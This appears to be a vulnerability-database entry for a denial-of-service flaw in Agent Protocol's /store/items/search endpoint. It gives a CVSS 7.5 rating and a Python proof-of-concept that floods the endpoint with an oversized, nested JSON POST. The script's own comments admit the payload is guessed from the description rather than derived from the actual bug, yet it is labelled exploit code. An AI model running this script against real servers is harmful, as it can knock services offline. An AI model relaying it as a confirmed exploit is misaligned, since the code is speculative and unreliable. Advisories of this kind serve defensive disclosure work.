An issue in the /store/items/search endpoint of Agent Protocol server commit e9a89f allows attackers to cause a Denial of Service (DoS) via a crafted POST request.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Agent Protocol (commit e9a89f)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL configuration
target_url = "http://target-ip:port/store/items/search"
# Crafted malicious payload based on vulnerability description
# The specific payload structure depends on the parsing logic of the vulnerable commit
malicious_payload = {
"malicious_param": "overflow_data" * 10000,
"nested_structure": {"a": {"b": {"c": "deep_nest"}}}
}
try:
print(f"Sending exploit request to {target_url}...")
response = requests.post(target_url, json=malicious_payload, timeout=5)
print(f"Response Status Code: {response.status_code}")
print("If the server hangs or crashes, the DoS exploit was successful.")
except requests.exceptions.Timeout:
print("Request timed out - possible Denial of Service triggered.")
except Exception as e:
print(f"An error occurred: {e}")